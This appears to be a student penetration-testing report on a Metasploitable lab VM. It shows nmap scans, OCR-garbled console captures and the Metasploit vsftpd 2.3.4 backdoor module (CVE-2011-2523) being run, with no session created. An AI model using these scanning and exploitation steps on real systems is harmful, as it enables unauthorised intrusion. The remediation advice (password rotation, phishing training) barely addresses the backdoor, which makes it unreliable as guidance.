Penetration Testing Report

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Vulnerability Management and Penetration Testing

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Executive Summary

When looking at a network system, there are various ways to see the vulnerability. During my exploration, I could use the proper command to investigate top ports and others that may have needed to be noticed. As you will see in this report, I will exploit one port and recommend how to close it. The port chosen was FTP Port 21. This port holds critical information, such as usernames and passwords. This vulnerability could mean hackers have access to vital information after cracking into the system. Recommendations include having the employees change their passwords every 90 days, ensuring the proper firewalls are in place, and monitoring emails for phishing links.

Introduction

The purpose of this report is to inform the business decisions to obtain knowledge on vulnerabilities, how it impacts the business, exploitation, and strategic recommendations. This report will detail how the vulnerability exists and suggestions on how to fix them. Understanding the vulnerabilities and how to defend against them will help protect the sensitive data stored within the system.

Scope

The purpose of this report is to acknowledge where the vulnerability lies and methods for preventing exploitation in the future. Within my exploration, I was able to find 23 open ports. Having this many open ports is concerning for the number of open ports shown due to the accessibilities it has with hackers having access to essential data inside the company. If data is easily accessible could cause our clients' data to be bought and sold across the internet.

Discovered Vulnerability

When I first tried nmap with the IP address, it only showed a handful of open ports. Yet when using -sS -A -T4 -p- (IP address), I could see open ports and complete statuses. With this information, I could know the commands needed to gain access. I then used the command ls -al /usr/share/scripts/ | grep -e "ftp-" for enumeration. I was able to find a backdoor script. Using that script, I checked the vulnerability for port 21. By using the nmap -sV -p 21 -script ftp-vsftpd-backdoor (IP address), I could see the exposure and how to gain access to it.

Exploitation

To complete the exploitation, I searched for the exploit title that matched what I was searching for, Backdoor Command Execution (Metasploit). Once I obtained the version needed to run Metasploit. When I gained access to the Metasploit console, I searched for that module to get root access. I then searched for the exploit script. I used that script to show the options I could exploit. I found that RHOSTS was a target IP address and port on the FTP server running. Having that information, I ran the command set RHOSTS (IP address). From there, I can explore more, such as using Python.

Recommendations

When defending against vulnerabilities, it is crucial to understand how they can be protected from a proactive standpoint. In particular, to safeguard against FTP attacks are by have the employees change their passwords every 90 days, ensure the proper firewalls are in place and monitor emails for phishing links.

Remediation

There needs to be a meeting with all department managers to discuss ways to start these new procedures. First, by getting the development team to automatically have a pop-up notification when it has been 90 days since the password has been changed. Next, by working out different programs or creating a program to implement so that attacks cannot come through. Lastly, having training sessions with all department employees on what to look out for. Examples include an email, someone calling in attempting to get information, or someone walking to the front desk to gain knowledge. Security needs to be on the entire staff's mind. Ensuring the safety of data should be a top priority.

Conclusion

With so many different vulnerabilities, it is safe to say there is work that needs to be done. Knowing now that the report has offered, there is light on tasks that need repairing before damage is done and data is leaked. Network security is rarely discussed in weekly meetings. Now that the vulnerability is exposed, there needs to be a discussion on how this will be worked out as a team.

Annex A

Commands:

- -sS is TCP SYN, which just means it is stealth and speeds up the process
- -A is enables version and OS detection, traceroute, and script scanning
- -T4 is for faster execution and evades detection
- **-p-** is a range of ports

ls list files in a folder or directory
/usr/share/scripts/ is a file
grep it allows to narrow down results
e is to use specified interface
"ftp-" is the location I am looking for within the script

- -sV is a way to explore open ports to determine the service and vision information
- **-p** 21 is the port I need
- -- script is a script scan

ftp-vsftpd-backdoor (ip address) is the script I copied from the earlier command

Annex B



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File Actions Edit View Help
  -(kali⊛kali)-[~]
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
       inet6 fe80::a00:27ff:fe78:c4ab prefixlen 64 scopeid 0×20<link>
       ether 08:00:27:78:c4:ab txqueuelen 1000 (Ethernet)
       RX packets 38 bytes 15540 (15.1 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 33 bytes 10792 (10.5 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       ether 08:00:27:67:de:ce txqueuelen 1000 (Ethernet)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 0 bytes 0 (0.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 :: 1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 0 bytes 0 (0.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
  ΙP
                At MAC Address
                                   Count
                                                  MAC Vendor / Hostname
                                             Len
192.168.56.1
                0a:00:27:00:00:06
                                       1
                                              60
                                                  Unknown vendor
192.168.56.100 08:00:27:04:f4:27
                                       1
                                              60
                                                  PCS Systemtechnik GmbH
192.168.56.104 08:00:27:9d:af:1e
                                              60
                                                  PCS Systemtechnik GmbH
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(kali@ kali)-[~]
$ nmap -sP 192.168.56.*
Starting Nmap 7.92 (https://nmap.org ) at 2022-12-02 09:37 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00052s latency).
Nmap scan report for 192.168.56.104
Host is up (0.0032s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.39 seconds
(kali@kali)-[~]
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$ nmap -sV 192.168.56.104
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-01 22:17 CST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.104
 Host is up (0.00011s latency).
Host is up (0.00011s latency).

Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debiar
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 (
111/tcp open rpcbind 2 (RPC #100000))
139/tcp open netbios-ssn Samba smbd 3.X - 4.3
                                              OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
                                           ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
 111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 513/tcp open login
514/tcp open shell
                                              OpenBSD or Solaris rlogind
513/tcp open log1n UpenBSD or Solaris rlog1nd
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
 2121/tcp open ftp
                                              MySQL 5.0.51a-3ubuntu5
 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
 5900/tcp open vnc
                                              VNC (protocol 3.3)
                                              (access denied)
UnrealIRCd
 6000/tcp open X11
 6667/tcp open irc
 8009/tcp open ajp13
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds
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(root@kali)-[~]
# ping 192.168.56.104
PING 192.168.56.104 (192.168.56.104) 56(84) bytes of data.
64 bytes from 192.168.56.104: icmp_seq=1 ttl=64 time=0.453 ms
64 bytes from 192.168.56.104: icmp_seq=2 ttl=64 time=0.464 ms
^C
— 192.168.56.104 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1007ms
rtt min/avg/max/mdev = 0.453/0.458/0.464/0.005 ms
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STATE SERVICE
 21/tcp
             open
 22/tcp
23/tcp
                       ssh
 25/tcp
53/tcp
             open
                       domain
 110/tcp closed pop3
135/tcp closed msrpc
 139/tcp open netbi
                      netbios-ssn
 443/tcp closed https
 445/tcp open microsoft-ds
3306/tcp open mysql
 3389/tcp closed ms-wbt-server
8080/tcp closed http-proxy
 Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
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Namp - top-ports 15 192.168.56.102

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 14:13 CST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.56.102

Host is up (0.0000040s latency).
PORT
            STATE SERVICE
           closed ftp
           closed telnet
23/tcp
25/tcp
           closed smtp
53/tcp closed domain
80/tcp closed http
110/tcp closed pop3
 139/tcp closed netbios-ssn
143/tcp closed imap
443/tcp closed https
 445/tcp closed microsoft-ds
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
8080/tcp closed http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
  - (root@ kail) - [~]

# nmap -sS -A -T4 -p- 192.168.56.104

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 14:46 CST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 96.67% done; ETC: 14:47 (0:00:02 remaining)

Nmap scan report for 192.168.56.104
  Host is up (0.00073s latency).
  Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
     FTP server status:
            Connected to 192.168.56.102
            Logged in as ftp
TYPE: ASCII
            No session bandwidth limit
            Session timeout in seconds is 300
            Control connection is plain text
Data connections will be plain text
            vsFTPd 2.3.4 - secure, fast, stable
    _End of status
   |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
                                         OpenSSH 4.7pl Debian 8ubuntu1 (protocol 2.0)
     ssh-hostkey:
       1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
               open telnet Linux telnetd
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ls -al /usr/share/nmap/scripts/ | grep -e "ftp-"
-rw-r--r-- 1 root root 4530 Jan 18 2022 ftp
                                                                -anon.nse
-rw-r--r-- 1 root root
                                 3253 Jan 18
                                                    2022
                                                                -bounce.nse
-rw-r--r-- 1 root root
                                  3108 Jan 18
                                                    2022
                                                                -brute.nse
                                 3272 Jan 18 2022
-rw-r--r-- 1 root root
                                                                -libopie.nse
-rw-r--r-- 1 root root 3290 Jan 18 2022
                                                                -proftpd-backdoor.nse
-rw-r--r-- 1 root root 3768 Jan 18
                                                    2022
                                                                -syst.nse
-rw-r--r-- 1 root root 6021 Jan 18
                                                    2022
                                                                -vsftpd-backdoor.nse
-rw-r--r-- 1 root root
                                 5923 Jan 18
                                                    2022
                                                                -vuln-cve2010-4221.nse
-rw-r--r-- 1 root root 5736 Jan 18 2022 t
                                                                 -enum.nse
nmap -sV -p 21 --script ftp-vsftpd-backdoor 192.168.56.104
Starting Nmap 7.92 (https://nmap.org) at 2022-12-03 15:17 CST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.104 Host is up (0.00063s latency).
PORT
     STATE SERVICE VERSION
21/tcp open ftp
                  vsftpd 2.3.4
   VULNERABLE:
    vsFTPd version 2.3.4 backdoor
     State: VULNERABLE (Exploitable)
IDs: CVE:CVE-2011-2523 BID:48539
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
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Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

 $\label{loginwithmsfadmin/msfadmin} \mbox{Login with msfadmin/msfadmin to get started}$

- TWiki
- phpMyAdmin
- Mutillidae
- <u>DVWA</u>
- WebDAV

http://192.168.56.104



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# Name
                                                                                              Disclosure Date Rank
                                                                                                                                                         Check Description
      0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No
                                                                                                                                                                       VSFTPD v2.3.4 Backdoor Command Execution
 Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initi constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous defined the constant of th
or wawn was nere
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initi
constant HrrRDssh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous defi
of PREFERENCE was here
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of IDENTIFIER was here
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
      Name Current Setting Required Description
                                                                                The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit The target port (TCP)
      RHOSTS
RPORT
Payload options (cmd/unix/interact):
Exploit target:
      Id Name
                                                                  4_backdoor) >
msf6 exploit(un
 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.104
  RHOSTS ⇒ 192.168.56.104
  msf6 exploit(unix/ftp/)
   [*] 192.168.56.104:21 - Banner: 220 (vsFTPd 2.3.4)
  [*] 192.168.56.104:21 - USER: 331 Please specify the password.
  [*] Exploit completed, but no session was created.
  msf6 exploit(uni
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apt install openssh-server
Reading package lists... Done
Building dependency tree ... Done
 Reading state information... Done
 The following additional packages will be installed:
   libc-bin libc-dev-bin libc-li0n libc6 libc6-dev libc6-i386 libssl3 locales openssh-client openssh-sftp-server openssl runit-helper
 Suggested packages:
  glibc-doc libnss-nis libnss-nisplus manpages-dev keychain libpam-ssh monkeysphere ssh-askpass molly-guard ufw
Recommended packages:
  manpages-dev libc-devtools
 The following packages will be upgraded:
   libc-bin libc-dev-bin libc-l10n libc6 libc6-dev libc6-i386 libssl3 locales openssh-client openssh-server openssh-sftp-server openssl runit-hel
 13 upgraded, 0 newly installed, 0 to remove and 992 not upgraded.
 Need to get 17.3 MB of archives.
After this operation, 3,969 kB disk space will be freed. Do you want to continue? [Y/n]
     apt install openssh-server
Reading package lists... Done
Building dependency tree ... Done
Reading state information... Done
The following additional packages will be installed:
libc-bin libc-dev-bin libc-l10n libc6 libc6-dev libc6-i386 libssl3 locales openssh-client openssh-sftp-server openssl runit-helper
Suggested packages:
  glibc-doc libnss-nis libnss-nisplus manpages-dev keychain libpam-ssh monkeysphere ssh-askpass molly-guard ufw
Recommended packages:
  manpages-dev libc-devtools
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13 upgraded, 0 newly installed, 0 to remove and 992 not upgraded. Need to get 17.3 MB of archives.
After this operation, 3,969 kB disk space will be freed.
Do you want to continue? [Y/n] y
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 libc-l10n all 2.35-3
Ign:2 http://http.kali.org/kali kali-rolling/main amd64 libc-dev-bin amd64 2.35-3
Ign:3 http://http.kali.org/kali kali-rolling/main amd64 libc6-dev amd64 2.35-3
Ign:4 http://http.kali.org/kali kali-rolling/main amd64 libc6-i386 amd64 2.35-3
Ign:5 http://http.kali.org/kali kali-rolling/main amd64 locales all 2.35-3
Ign:6 http://http.kali.org/kali kali-rolling/main amd64 libc6 amd64 2.35-3
Ign:7 http://http.kali.org/kali kali-rolling/main amd64 libc-bin amd64 2.35-3
Ign:8 http://http.kali.org/kali kali-rolling/main amd64 libssl3 amd64 3.0.5-4
Ign:9 http://http.kali.org/kali kali-rolling/main amd64 openssh-sftp-server amd64 1:9.0p1-1+b2
Ign:10 http://http.kali.org/kali kali-rolling/main amd64 openssh-server amd64 1:9.0p1-1+b2
Ign:11 http://http.kali.org/kali kali-rolling/main amd64 openssh-client amd64 1:9.0p1-1+b2
Ign:12 http://http.kali.org/kali kali-rolling/main amd64 runit-helper all 2.14.2
Ign:13 http://http.kali.org/kali kali-rolling/main amd64 openssl amd64 3.0.5-4
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 libc-l10n all 2.35-3
Ign:2 http://http.kali.org/kali kali-rolling/main amd64 libc-dev-bin amd64 2.35-3
Ign:3 http://http.kali.org/kali kali-rolling/main amd64 libc6-dev amd64 2.35-3
Ign:4 http://http.kali.org/kali kali-rolling/main amd64 libc6-i386 amd64 2.35-3
Ign:5 http://http.kali.org/kali kali-rolling/main amd64 locales all 2.35-3
Ign:6 http://http.kali.org/kali kali-rolling/main amd64
                                                             libc6 amd64 2.35-3
Ign:7 http://http.kali.org/kali kali-rolling/main amd64 libc-bin amd64 2.35-3
Ign:8 http://http.kali.org/kali kali-rolling/main amd64 libssl3 amd64 3.0.5-4
Ign:9 http://http.kali.org/kali kali-rolling/main amd64 openssh-sftp-server amd64 1:9.0p1-1+b2
    nmap -sV -p22 192.168.56.104
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 13:25 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers wit
Nmap scan report for 192.168.56.104
Host is up (0.00058s latency).
      STATE SERVICE VERSION
22/tcp open ssh
                         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 08:00:27:9D:AF:1E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
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